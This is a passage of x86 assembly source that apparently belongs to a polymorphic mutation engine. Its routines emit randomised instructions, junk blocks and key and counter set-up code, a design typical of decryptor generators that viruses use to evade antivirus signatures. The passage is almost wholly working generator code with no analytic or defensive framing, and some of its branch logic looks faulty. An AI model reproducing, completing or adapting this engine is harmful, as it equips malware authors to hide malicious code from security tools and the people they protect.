        CALL   GEN_POP_REG32
        Call   Make_Random_Blk;**
        mov    cl,byte ptr [ebp + counter_reg]
        Call   RestConst  
        Call   Make_Random_Blk;**        
        ret
       
    @PC_SIZE_MOV:
        ;****
        CALL   GEN_MOV_REG32_IMM
        Call   Make_Random_Blk;**
        mov    cl,byte ptr [ebp + counter_reg]
        Call   RestConst  
        Call   Make_Random_Blk;**        
        ret
        
    @PC_SIZE_LEA:
      mov    byte ptr [ebp + _REG_OPCODE], cl;-***-
      mov    byte ptr [ebp + _MOD], 0
      mov    byte ptr [ebp + _RM], 5
      mov    dword ptr [ebp + Displacement], ebx
        CALL   GEN_LEA_REG32_DISP32
        Call   Make_Random_Blk;**
        mov    cl,byte ptr [ebp + counter_reg]
        Call   RestConst  
        Call   Make_Random_Blk;**
        ret
;=========  =========  =========  =========  [KEY] =========  =========  =========  =========
@@PC_SEQKEY:


        
     
        xor    eax,eax
        push   3
        pop    ecx
        Call   Get_rand_range 
  
        or     eax,eax
        jz     @PC_KEY_MOV

        or     eax,eax
        jz     @PC_KEY_LEA
               
    @PC_KEY_PUSHPOP:
        CAll   Random32
        mov    ebx,eax
        CALL   GEN_PUSH_IMM32
      
   
        Call   Make_Random_Blk;**    
        mov    cl,byte ptr [ebp + key_reg]
        CALL   GEN_POP_REG32
        Call   Make_Random_Blk;**
        jmp    @PC_KEY_NEXT
        
    @PC_KEY_MOV:
        ;**
        Call   Random32
        mov    ebx,eax
        mov    cl,byte ptr [ebp + key_reg]
        CALL   GEN_MOV_REG32_IMM
        Call   Make_Random_Blk;**
        jmp    @PC_KEY_NEXT

    @PC_KEY_LEA:

        Call   Random32
        mov    ebx,eax
        
        mov    cl,byte ptr [ebp + key_reg]
      mov    byte ptr [ebp + _REG_OPCODE], cl;-***-
      mov    byte ptr [ebp + _MOD], 0
      mov    byte ptr [ebp + _RM], 5
      mov    dword ptr [ebp + Displacement], ebx
        CALL   GEN_LEA_REG32_DISP32
        Call   Make_Random_Blk;**
  @PC_KEY_NEXT:  

        Call   CallWaitLoop?;**
        ret   

    
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; OPCODE GENERATION ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

_16BITS_OPC_TBL         dd OFFSET GEN_ADD_REG16_IMM 
                        dd OFFSET GEN_XOR_REG16_IMM
                        dd OFFSET GEN_SUB_REG16_IMM 
                        dd OFFSET GEN_ADD_REG16_REG16             ; 1
                        dd OFFSET GEN_XOR_REG16_REG16
                        dd OFFSET GEN_SUB_REG16_REG16
         
_16BITS_OPC_NBR         = 5

GEN_16BITS_OPC proc uses edx ecx


        
        push   ecx
        
        xor    eax,eax
        push   _16BITS_OPC_NBR                             
        pop    ecx
        Call   Get_rand_range  
        
        pop    ecx

        lea    edx, dword ptr [ebp + _16BITS_OPC_TBL]
        mov    edx, dword ptr [edx + (eax * 4)]
        add    edx, ebp  
 

        Call   edx
        ret
GEN_16BITS_OPC endp

GEN_ADD_REG32_IMM:

        CAll   IS_NBR_8B
        jc     @F
        mov    ax,0C083h
        add     ah,cl
        stosw
        mov    al,bl
        stosb
        ret
      @@:

        or     cl,cl
        jnz    @F
        mov    al,05h                      ; EAX SPECIFIC OPCODE
        stosb
        jmp    End_ADD_REG32_IMM
       @@:
        mov    ax,0C081h
        add     ah,cl
        stosw

      End_ADD_REG32_IMM:
        mov    eax,ebx
        stosd
        ret

GEN_ADD_REG16_IMM:
        mov    al,66h                      ; Prefix
        stosb
        CAll   IS_NBR_8B
        jc     @F
        mov    ax,0C083h 
        add     ah,cl
        stosw
        mov    al,bl
       stosb
        ret       
       @@:

        or     cl,cl
        jnz    @F
        mov    al,05h                      ; EAX SPECIFIC OPCODE
        stosb
        jmp    End_ADD_REG16_IMM
       @@:
       
        mov    ax,0C081h
        add     ah,cl
        stosw
      End_ADD_REG16_IMM:
        mov    ax,bx
        stosw
        ret

GEN_ADD_REG8_IMM:


        Call    GetValid8BREGS;-*
        jnc     @F
        ret
       @@:

        or      cl,cl
        jz      @F
                
        mov    ax,0C080h 
        add    ah,cl
        stosw
        mov    al,bl
        stosb
        ret

       @@:
        mov    al,04h
        stosb
        mov    al,bl
        stosb
        ret
            
GEN_ADD_REG32_REG32:
        mov    al,03h                      ; ADD REG32,REG32
        mov    ah,cl                       ; REGISTER1
        shl    ah,3                        ; ah * 8
        or     ah,ch                       ; REGISTER2
        or     ah,0C0h
        stosw
        ret

GEN_ADD_REG16_REG16:
        mov    al,66h                      ; Prefix
        stosb
        mov    ax,0C003h
        shl    cl,3
        or     ah,cl
        or     ah,ch       
        stosw
        ret

GEN_ADD_REG8_REG8:

        Call    GetValid8BREGS;-*
        jnc     @F
        ret
       @@:
       
        mov    ax,0C002h
        shl    cl,3
        or     ah,cl
        or     ah,ch
        stosw        
        ret   

                                 
GEN_MOV_REG32_IMM:     
        mov    al,0B8h                      ; MOV REG32,IMM
        or    al,cl                        ; REGISTER
        stosb

        mov    eax,ebx                      ; IMMEDIATE
        stosd

        ret


;GEN_MOV_REG32_MEM:                              ; mov REG32, MEM  

;GEN_MOV_REG32_MEM_REG32_plus_REG32:             ; MOV REG32,DWORD PTR [REG32+REG32]


                               
GEN_MOV_REG32_MEM_REG32:     
        cmp    ch,5
        jz     @F
        mov    al,08Bh                     ; MOV REG32,dwo [REG32]
        mov    ah,cl                       ; REGISTER1
        shl    ah,3                        ; ah * 8
        or     ah,ch                       ; REGISTER2
        stosw
        ret
       @@:
        mov    ax,458Bh
        shl    cl,3
        or     ah,cl
        stosw
        xor    al,al
        stosb    
        ret

GEN_MOV_MEM_REG32_REG32:  
        cmp    ch,5
        jz     @F   
        mov    al,089h                     ; MOV dwo [REG32], REG32
        mov    ah,cl                       ; REGISTER1
        shl    ah,3                        ; ah * 8
        or     ah,ch                       ; REGISTER2
        stosw
        ret
       @@:
        mov    ax,4589h
        shl    cl,3
        or     ah,cl
        stosw
        xor    al,al
        stosb    
        ret
      
GEN_MOV_REG32_REG32 proc   
       
        cmp    cl, ch                      ; Anti-Absurd Code prevents "mov samereg, samereg"
        jnz    Skip
       @@:
        call   Random32
        and    al, 7
        cmp    al, cl
        jz     @B
        mov    ch, al
       Skip:  
      
        mov    al,08Bh                     ; MOV REG32,REG32
        mov    ah,cl                       ; REGISTER1
        shl    ah,3                        ; ah * 8
        or     ah,ch                       ; REGISTER2
        or     ah,0C0h
        stosw
        ret
        
GEN_MOV_REG32_REG32 endp
  
GEN_XOR_REG32_REG32:
        mov    al,033h                     ; MOV REG32,REG32
        mov    ah,cl                       ; REGISTER1
        shl    ah,3                        ; ah * 8
        or     ah,ch                       ; REGISTER2
        or     ah,0C0h
        stosw

        ret

GEN_XOR_REG16_REG16:
        mov    al,66h
        stosb
        Call   GEN_XOR_REG32_REG32
        ret

GEN_XOR_REG8_REG8:
        Call    GetValid8BREGS;-*
        jnc     @F
        ret
       @@:
       
        mov    ax,0C032h
        shl    cl,3
        or     ah,cl
        or     ah,ch
        stosw
        ret

                         
GEN_XOR_REG32_IMM: 


        
        CAll   IS_NBR_8B
        jc     @F
        mov    ax,0F083h
        add    ah,cl
        stosw
        mov    al,bl
        stosb
        ret
        @@:

        or     cl,cl
        jnz    @F
        mov    al,35h                      ; EAX SPECIFIC OPCODE
        stosb
        jmp    End_XOR_REG32_IMM
       @@:   
        
        mov    ax,0F081h
        add    ah,cl 
        stosw
        
       End_XOR_REG32_IMM:
        mov    eax,ebx
        stosd               
        ret

GEN_XOR_REG16_IMM:
        mov    al,66h
        stosb
        CAll   IS_NBR_8B
        jc     @F
        mov    ax,0F083h
        add    ah,cl
        stosw
        mov    al,bl
        stosb
        ret
       @@:

        or     cl,cl
        jnz    @F
        mov    al,35h                      ; EAX SPECIFIC OPCODE
        stosb
        jmp    End_XOR_REG16_IMM
       @@:   
       
        mov    ax,0F081h
        or     ah,cl
        stosw
        
       End_XOR_REG16_IMM:
        mov    ax,bx
        stosw
        ret

GEN_XOR_REG8_IMM:
        Call    GetValid8BREGS;-*
        jnc     @F
        ret
       @@:

        or     cl,cl
        jz     @F
        
        mov    ax,0F080h
        add    ah,cl
        stosw
        mov    al,bl
        stosb
        ret
        
       @@:
        mov    al,34h
        stosb
        mov    al,bl
        stosb
        ret       
                       
GEN_MOV_REG32_MEM_INDEX:     
        mov    ax,428Bh                     ; MOV REG32,dwo [REG+INDEX]
        or     ah,cl                        ; REGISTER
        stosw
        CAll   IS_NBR_8B
        jc     @F
        mov    al,bl
        stosb
        ret
        @@:
        mov    eax,ebx                      ; MEM
        stosd

        ret


GEN_PUSH_IMM32:
        CALL   IS_NBR_8B
        Jc     @F
        Call   GEN_PUSH_IMM8
        ret
       @@:
        mov    al,68h                           ; PUSH IMM32
        stosb
        mov    eax,ebx
        stosd
        
        ret


            
GEN_PUSH_MEM32:
        mov    ax,35FFh                           ; PUSH MEM32
        stosw
        mov    eax,ebx
        stosd
        
        ret

GEN_PUSH_REG32:
        mov    al,50h                            ; PUSH  REG32
        add    al,cl        
        stosb
        
        ret
        
                     
GEN_PUSH_REGMEM32:
        cmp    cl,5
        jz     @F
        
        mov    ax,30FFh                           ; PUSH  dwo [REG32]
        or     ah,cl        
        stosw
        ret
       @@:
        mov    ax,75FFh
        stosw
        xor    al,al
        stosb
        ret
        
GEN_PUSH_REGMEM32_INDEX8:
        mov    ax,70FFh                           ; PUSH  dwo [REG32+INDEX]
        or     ah,cl
        
        stosw
        mov    al,bl
        stosb
        
        ret


GEN_PUSH_IMM8:
        mov    al,6Ah                           ; PUSH IMM8
        stosb
        mov    al,bl
        stosb        
        ret
        
GEN_POP_REG32:
        mov    al,58h
        add    al,cl
        stosb
        ret

GEN_POP_REGMEM32:
        cmp    cl,5
        jz     @F
        mov    ax,008Fh
        add    ah,cl
        stosw
        ret
       @@:
        mov    ax,458Fh
        stosw
        xor    al,al
        stosb
        ret

GEN_LEA_REG32_DISP32:
        mov   al, 8Dh
        stosb
        Call   EncodeModRM_SIB 
        ret    
         
;GEN_LEA_REG32_DISP32:
;        mov    ax,058Dh
;        shl    cl,3                             ; cl * 4
;        or     ah,cl
;        stosw
;        mov    eax,ebx
;        stosd
;        ret


GEN_DEC_REG32:                                  ; Dec
        mov    al,48h
        add    al,cl
        stosb
        ret
        
GEN_INC_REG32:                                  ; Inc
        mov    al,40h
        add    al,cl
        stosb
        ret
        
    

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

GEN_SUB_REG32_REG32:                       ; SUB REG32,REG32
        mov    ax,0C02Bh
        shl    cl,3
        or     ah,cl
        or     ah,ch
        shr    cl,3
        stosw
        ret
        
GEN_SUB_REG16_REG16:
        mov    al,66h
        stosb
        mov    ax,0C02Bh
        shl    cl,3
        or     ah,cl
        or     ah,ch
        stosw
        ret  
              
GEN_SUB_REG8_REG8:

        Call    GetValid8BREGS;-*
        jnc     @F
        ret
       @@:

        mov    ax,0C02Ah
        shl    cl,3
        or     ah,cl
        or     ah,ch
        stosw
        ret         

     
GEN_SUB_REG32_IMM:                         ; SUB REG32,IMM

        CAll   IS_NBR_8B
        jc     @F
        mov    ax,0E883h
        add     ah,cl
        stosw
        mov    al,bl
        stosb
        ret
      @@:

        or     cl,cl
        jnz    @F
        mov    al,2Dh                      ; EAX SPECIFIC OPCODE
        stosb
        jmp    End_SUB_REG32_IMM
        @@:
        
        mov    ax,0E881h
        add     ah,cl
        stosw

      End_SUB_REG32_IMM:
        mov    eax,ebx
        stosd
        ret

GEN_SUB_REG16_IMM:
        mov    al,66h
        stosb        
        CAll   IS_NBR_8B
        jc     @F
        mov    ax,0E883h
        add     ah,cl
        stosw
        mov    al,bl
        stosb
        ret
      @@:

        or     cl,cl
        jnz    @F
        mov    al,2Dh                      ; EAX SPECIFIC OPCODE
        stosb
        jmp    End_SUB_REG16_IMM
        @@:
        
        mov    ax,0E881h
        add    ah,cl
        stosw

      End_SUB_REG16_IMM:
        mov    ax,bx
        stosw
        ret

GEN_SUB_REG8_IMM:

        Call    GetValid8BREGS;-*
        jnc     @F
        ret
       @@:

        or     cl,cl
        jz     @F
        
        mov    ax,0E880h
        add    ah,cl
        stosw
        mov    al,bl
        stosb
        ret
       @@:
        mov    al,2ch
        stosb
        mov    al,bl
        stosb
        ret
        
GEN_DEC_REG8:
        Call    GetValid8BREGS;-*
        jnc     @F
        ret
       @@:
        mov     ax,0C8FEh
        or      ah,cl
        stosw
        ret

GEN_INC_REG8:
        Call    GetValid8BREGS;-*
        jnc     @F
        ret
       @@:
        mov     ax,0C0FEh
        or      ah,cl
        stosw
        ret       
GEN_ROL_REG32_IMM8:
        and    ebx,0Fh

       or     ebx,ebx
       jnz    @F
       inc    ebx
      @@:

        .IF    bl == 1
            mov    ax,0C0D1h                   ; MOV REG32,REG32
            or    ah,cl                       ; REGISTER1
            stosw
            ret
        .ENDIF

        mov    ax,0C0C1h
        or     ah,cl 
        stosw  
        mov    al,bl
        stosb
        ret

GEN_ROR_REG32_IMM8:
        and    ebx,0Fh

       or     ebx,ebx
       jnz    @F
       inc    ebx
      @@:
      
        .IF    bl == 1
            mov    ax,0C8D1h                   ; MOV REG32,REG32
            or     ah,cl                       ; REGISTER1
            stosw
            ret
        .ENDIF

        mov    ax,0C8C1h
        or     ah,cl 
        stosw  
        mov    al,bl
        stosb
        ret



GEN_JNZ_OFS:

        CALL   IS_NBR_8B
        jnc    @JNZ_SHORT
        sub    ebx,6
        mov    ax,850fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JNZ_SHORT:
        dec    ebx
        dec    ebx
        mov    al,75h
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret

GEN_JZ_OFS:

        CALL   IS_NBR_8B
        jnc    @JZ_SHORT
        sub    ebx,6
        mov    ax,840fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JZ_SHORT:
        dec    ebx
        dec    ebx
        mov    al,74h
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret

   
GEN_JNS_OFS:

        CALL   IS_NBR_8B
        jnc    @JNS_SHORT
        sub    ebx,6
        mov    ax,890fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JNS_SHORT:
        dec    ebx
        dec    ebx
        mov    al,79h
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret

GEN_JS_OFS:

        CALL   IS_NBR_8B
        jnc    @JS_SHORT
        sub    ebx,6
        mov    ax,880fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JS_SHORT:
        dec    ebx
        dec    ebx
        mov    al,78h
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret

GEN_JG_OFS:

        CALL   IS_NBR_8B
        jnc    @JG_SHORT
        sub    ebx,6
        mov    ax,8F0fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JG_SHORT:
        dec    ebx
        dec    ebx
        mov    al,7Fh
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret

GEN_JL_OFS:

        CALL   IS_NBR_8B
        jnc    @JL_SHORT
        sub    ebx,6
        mov    ax,8C0fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JL_SHORT:
        dec    ebx
        dec    ebx
        mov    al,7Ch
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret


GEN_JGE_OFS:

        CALL   IS_NBR_8B
        jnc    @JGE_SHORT
        sub    ebx,6
        mov    ax,8D0fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JGE_SHORT:
        dec    ebx
        dec    ebx
        mov    al,7Dh
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret

GEN_JLE_OFS:

        CALL   IS_NBR_8B
        jnc    @JLE_SHORT
        sub    ebx,6
        mov    ax,8E0fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JLE_SHORT:
        dec    ebx
        dec    ebx
        mov    al,7Eh
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret


GEN_JBE_OFS:

        CALL   IS_NBR_8B
        jnc    @JBE_SHORT
        sub    ebx,6
        mov    ax,860fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JBE_SHORT:
        dec    ebx
        dec    ebx
        mov    al,76h
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret

GEN_JA_OFS:

        CALL   IS_NBR_8B
        jnc    @JA_SHORT
        sub    ebx,6
        mov    ax,870fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JA_SHORT:
        dec    ebx
        dec    ebx
        mov    al,77h
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret
        

GEN_JNB_OFS:

        CALL   IS_NBR_8B
        jnc    @JNB_SHORT
        sub    ebx,6
        mov    ax,830fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JNB_SHORT:
        dec    ebx
        dec    ebx
        mov    al,73h
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret   

GEN_JP_OFS:

        CALL   IS_NBR_8B
        jnc    @JP_SHORT
        sub    ebx,6
        mov    ax,8A0fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JP_SHORT:
        dec    ebx
        dec    ebx
        mov    al,7Ah
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret 

GEN_JNP_OFS:

        CALL   IS_NBR_8B
        jnc    @JNP_SHORT
        sub    ebx,6
        mov    ax,8B0fh
        stosw
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JNP_SHORT:
        dec    ebx
        dec    ebx
        mov    al,7Bh
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret 

GEN_JMP_OFS:

        CALL   IS_NBR_8B
        jnc    @JMP_SHORT
        sub    ebx,5
        mov    al,0E9h
        stosb
        mov    byte ptr [ebp + JmpShort?], 0
        mov    eax,ebx
        stosd
        ret
        
     @JMP_SHORT:
        dec    ebx
        dec    ebx
        mov    al,0EBh
        stosb
        mov    byte ptr [ebp + JmpShort?], 1
        mov    al,bl
        stosb
        ret 

GEN_CALL_OFS:
        mov    al,0E8h
        stosb
        sub    ebx,5
        mov    eax,ebx
        stosd
        ret
        
GEN_RET:
        mov    al,0C3h
        stosb
        ret
        
GEN_RETN_IMM16:
        mov    al,0C2h
        stosb
        mov    ax,bx
        stosw
        ret
        
GEN_CMP_REG32_IMM:

        CALL   IS_NBR_8B
        jc    @CMP_REG32_IMM32

        mov    ax,0F883h
        or     ah,cl
        stosw
        mov    al,bl
        stosb
        ret
      @CMP_REG32_IMM32:
        or     cl,cl
        jnz    @F
        mov    al,3Dh                      ; EAX SPECIFIC OPCODE
        stosb
        jmp    End_CMP_REG32_IMM
        @@:
        mov    ax,0F881h
        or     ah,cl
        stosw
      End_CMP_REG32_IMM:            
        mov    eax,ebx
        stosd
        ret

GEN_CMP_REG32_REG32:
        mov    ax, 0C03Bh
        or     ah, cl
        shl    ch, 3
        or     ah, ch
        shr    ch, 3
        stosw
        ret
        
GEN_TEST_REG32_REG32:                       ; SUB REG32,REG32
        mov    ax,0C085h
        shl    ch,3
        or     ah,cl
        or     ah,ch
        shr    cl,3
        stosw
        ret

GEN_TEST_REG32_IMM32 proc
        or     cl, cl
        jnz    @F
        mov    al, 0A9h
        stosb
        jmp    skip
       @@:
        mov    ax, 0C0F7h
        or     ah, cl
        stosw
       skip:
        mov    eax, ebx
        stosd
        ret
GEN_TEST_REG32_IMM32 endp
   
IS_NBR_8B:
        
        .IF   ebx >= 80h && ebx < -80h
            stc                             ; Number is 32 bits
            ret
        .ENDIF
        clc                                 ; Number is 8 bits
        ret  

GEN_SHR_REG32_IMM8:
        and    ebx,0Fh

       or     ebx,ebx
       jnz    @F
       inc    ebx
      @@:
      
        .IF    bl == 1
            mov    ax,0E8D1h                   ; SHR REG32,IMM8
            or     ah,cl                       
            stosw
            ret
        .ENDIF

        mov    ax,0E8C1h
        or     ah,cl 
        stosw  
        mov    al,bl
        stosb
        ret

GEN_SHL_REG32_IMM8:
        and    ebx,0Fh

       or     ebx,ebx
       jnz    @F
       inc    ebx
      @@:
      
        .IF    bl == 1
            mov    ax,0E0D1h                   ; SHl REG32,IMM8
            or     ah,cl                       
            stosw
            ret
        .ENDIF

        mov    ax,0E0C1h
        or     ah,cl 
        stosw  
        mov    al,bl
        stosb
        ret

GEN_SAR_REG32_IMM8:
        and    ebx,0Fh

       or     ebx,ebx
       jnz    @F
       inc    ebx
      @@:
      
        .IF    bl == 1
            mov    ax,0F8D1h                   ; SHl REG32,IMM8
            or     ah,cl                       
            stosw
            ret
        .ENDIF

        mov    ax,0F8C1h
        or     ah,cl 
        stosw  
        mov    al,bl
        stosb
        ret
        
GEN_SHLD_REG32_REG32_IMM8:
        and    ebx,0Fh

       or     ebx,ebx
       jnz    @F
       inc    ebx
      @@:
      
        mov    al,0Fh
        stosb
        mov    ax,0C0A4h
        shl    ch,3
        or     ah,cl
        or     ah,ch
        stosw     
        mov    al,bl
        stosb
        ret
        

        
GEN_SHRD_REG32_REG32_IMM8:
        and    ebx,0Fh

       or     ebx,ebx
       jnz    @F
       inc    ebx
      @@:
      
        mov    al,0Fh
        stosb
        mov    ax,0C0ACh
        shl    ch,3
        or     ah,cl
        or     ah,ch
        stosw     
        mov    al,bl
        stosb
        ret

GEN_SHLD_REG32_REG32_CL:
      
        mov    al,0Fh
        stosb
        mov    ax,0C0A5h
        shl    ch,3
        or     ah,cl
        or     ah,ch
        stosw     
        ret

GEN_SHRD_REG32_REG32_CL:
      
        mov    al,0Fh
        stosb
        mov    ax,0C0ADh
        shl    ch,3
        or     ah,cl
        or     ah,ch
        stosw     
        ret

GEN_SAR_REG32_CL:
      

        mov    ax,0F8D3h
        or     ah,cl
        stosw     
        ret

GEN_SHL_REG32_CL:
      

        mov    ax,0E0D3h
        or     ah,cl
        stosw     
        ret

GEN_SHR_REG32_CL:
      

        mov    ax,0E8D3h
        or     ah,cl
        stosw     
        ret    

GEN_RCL_REG32_CL:
      

        mov    ax,0D0D3h
        or     ah,cl
        stosw     
        ret    
        
GEN_RCR_REG32_CL:
      

        mov    ax,0D8D3h
        or     ah,cl
        stosw     
        ret   

GEN_ROL_REG32_CL:
      

        mov    ax,0C0D3h
        or     ah,cl
        stosw     
        ret   

GEN_ROR_REG32_CL:
      

        mov    ax,0C8D3h
        or     ah,cl
        stosw     
        ret  
                   
GEN_IMUL_REG32:
        mov    ax,0E8F7h
        or     ah,cl
        stosw
        ret

GEN_MUL_REG32:
        mov    ax,0E0F7h
        or     ah,cl
        stosw
        ret
        
GEN_IMUL_REG32_REG32_IMM:

        CAll   IS_NBR_8B
        jc     @F
        mov    ax,0C06Bh
        shl    cl,3
        or     ah,cl
        or     ah,ch
        stosw
        mov    al,bl
        stosb
        ret
      @@:
        mov    ax,0C069h
        shl    cl,3
        or     ah,cl
        or     ah,ch
        stosw
        mov    eax,ebx
        stosd
          
        ret

GEN_IMUL_REG32_REG32:
        mov    al,0Fh
        stosb
        mov    ax,0C0AFh
        shl    cl,3
        or     ah,cl
        or     ah,ch
        stosw     
        ret

GEN_DIV_REG32:
        CMP   cl,2
        jz    @F
        CMP   byte ptr [ebp + garb_reg1],2
        jz    @F
        CMP   byte ptr [ebp + garb_reg2],2
        jz    @F   
        CMP   byte ptr [ebp + garb_reg3],2
        jz    @F  
        ret

       @@:
        mov   ax,0D233h
        stosw
        mov   ax,0F0F7h
        or    ah,cl
        stosw
        ret
        
GEN_IDIV_REG32:
        CMP   cl,2
        jz    @F
        CMP   byte ptr [ebp + garb_reg1],2
        jz    @F
        CMP   byte ptr [ebp + garb_reg2],2
        jz    @F   
        CMP   byte ptr [ebp + garb_reg3],2
        jz    @F  
        ret
            
       @@:
        mov   ax,0D233h
        stosw
        mov   ax,0F8F7h
        or    ah,cl
        stosw
        ret
        
GEN_XADD_REG32_REG32:
        mov    al,0Fh
        stosb
        mov    ax,0C0C1h
        shl     ch,3
        or      ah,cl
        or      ah,ch 
        stosw       
        ret
           
GEN_ADC_REG32_REG32:
        mov     ax,0C011h
        shl     ch,3
        or      ah,cl
        or      ah,ch
        stosw
        ret
        
GEN_ADC_REG32_IMM32:
       CAll   IS_NBR_8B
        jc     @F
        mov    ax,0D083h
        add     ah,cl
        stosw
        mov    al,bl
        stosb
        ret
      @@:

        or     cl,cl
        jnz    @F
        mov    al,15h                      ; EAX SPECIFIC OPCODE
        stosb
        jmp    End_ADC_REG32_IMM32
        @@:
        
        mov    ax,0D081h
        add     ah,cl
        stosw

      End_ADC_REG32_IMM32:
        mov    eax,ebx
        stosd
        ret
     
GEN_SBB_REG32_REG32:
        mov     ax,0C01Bh
        shl     cl,3
        or      ah,cl
        or      ah,ch
        stosw
        ret

GEN_SBB_REG32_IMM32:
       CAll   IS_NBR_8B
        jc     @F
        mov    ax,0D883h
        add     ah,cl
        stosw
        mov    al,bl
        stosb
        ret
      @@:

        or     cl,cl
        jnz    @F
        mov    al,1Dh                      ; EAX SPECIFIC OPCODE
        stosb
        jmp    End_SBB_REG32_IMM32
        @@:
        
        mov    ax,0D881h
        add     ah,cl
        stosw

      End_SBB_REG32_IMM32:
        mov    eax,ebx
        stosd
        ret
        
GEN_OR_REG32_REG32:
        mov     ax,0C009h
        shl     ch,3
        or      ah,cl
        or      ah,ch
        stosw
        ret

GEN_OR_REG32_IMM32:
       CAll   IS_NBR_8B
        jc     @F
        mov    ax,0C883h
        add     ah,cl
        stosw
        mov    al,bl
        stosb
        ret
      @@:

        or     cl,cl
        jnz    @F
        mov    al,0Dh                      ; EAX SPECIFIC OPCODE
        stosb
        jmp    End_GEN_OR_REG32_IMM32
        @@:
        
        mov    ax,0C881h
        add     ah,cl
        stosw

      End_GEN_OR_REG32_IMM32:
        mov    eax,ebx
        stosd
        ret
        
GEN_AND_REG32_REG32:
        mov     ax,0C021h
        shl     ch,3
        or      ah,cl
        or      ah,ch
        stosw
        ret      

GEN_AND_REG32_IMM32:
       CAll   IS_NBR_8B
        jc     @F
        mov    ax,0E083h
        add     ah,cl
        stosw
        mov    al,bl
        stosb
        ret
      @@:

        or     cl,cl
        jnz    @F
        mov    al,25h                      ; EAX SPECIFIC OPCODE
        stosb
        jmp    End_AND_REG32_IMM32
        @@:
        
        mov    ax,0E081h
        add     ah,cl
        stosw

      End_AND_REG32_IMM32:
        mov    eax,ebx
        stosd
        ret

GEN_MOVSX_REG32_REG8:
        mov     al,0Fh
        stosb
        mov     ax,0C0BEh
        shl     cl,3
        or      ah,cl
        push    eax
        CALL    Random32
        and     eax,7
        mov     ch,al
        pop     eax
        or      ah,ch
        stosw
        ret

GEN_MOVZX_REG32_REG8:
        mov     al,0Fh
        stosb
        mov     ax,0C0B6h
        shl     cl,3
        or      ah,cl
        push    eax
        CALL    Random32
        and     eax,7
        mov     ch,al
        pop     eax
        or      ah,ch
        stosw
        ret

GEN_BSWAP_REG32:
        mov     ax,0C80Fh
        or      ah,cl
        stosw
        ret

GEN_NEG_REG32:
        mov     ax,0D8F7h
        or      ah,cl
        stosw
        ret
        
GEN_NOT_REG32:
        mov     ax,0D0F7h
        or      ah,cl
        stosw
        ret    

GEN_ONEBYTE:
        xor    eax,eax
        push   5
        pop    ecx
        Call   Get_rand_range
        or     eax,eax
        jz     GEN_CLD
        dec    eax
        jz     GEN_NOP
        dec    eax
        jz     GEN_CMC
        dec    eax
        jz     GEN_STC
        dec    eax
        jz     GEN_CLC
                
        mov    al,0FDh
        stosb  
        ret   
          
       GEN_CLD:  
        mov    al,0FCh
        stosb  
        ret   
          
       GEN_NOP: 
        mov    al,90h
        stosb
        ret

       GEN_CMC:
        mov    al,0F5h
        stosb
        ret
        
       GEN_STC:
        mov    al,0F9h
        stosb
        ret    

       GEN_CLC:
        mov    al,0F8h
        stosb
        ret   
         
GEN_XCHG_REG32_REG32:
        or     cl,cl
        jnz    @F
        cmp    cl,ch
        jnz    @F
        ret                 ;This makes a nop
       @@:
        or     ch,ch
        jnz    XCHG_2
       
        mov    al,90h
        or     al,cl
        or     al,ch
        stosb
        ret
       XCHG_2:
        mov    ax,0C087h
        shl    cl,3
        or     ah,cl
        or     ah,ch
        stosw
        ret

        
       



GEN_RCL_REG32_IMM8:

        and    ebx,0Fh

       or     ebx,ebx
       jnz    @F
       inc    ebx
      @@:
      
        .IF    bl == 1
            mov    ax,0D0D1h                   
            or    ah,cl                       
            stosw
            ret
        .ENDIF

        mov    ax,0D0C1h
        or     ah,cl 
        stosw  
        mov    al,bl
        stosb
        ret

GEN_RCR_REG32_IMM8:
        and    ebx,0Fh

       or     ebx,ebx
       jnz    @F
       inc    ebx
      @@:
      
        .IF    bl == 1
            mov    ax,0D8D1h                   
            or     ah,cl                       
            stosw
            ret
        .ENDIF

        mov    ax,0D8C1h
        or     ah,cl 
        stosw  
        mov    al,bl
        stosb
        ret
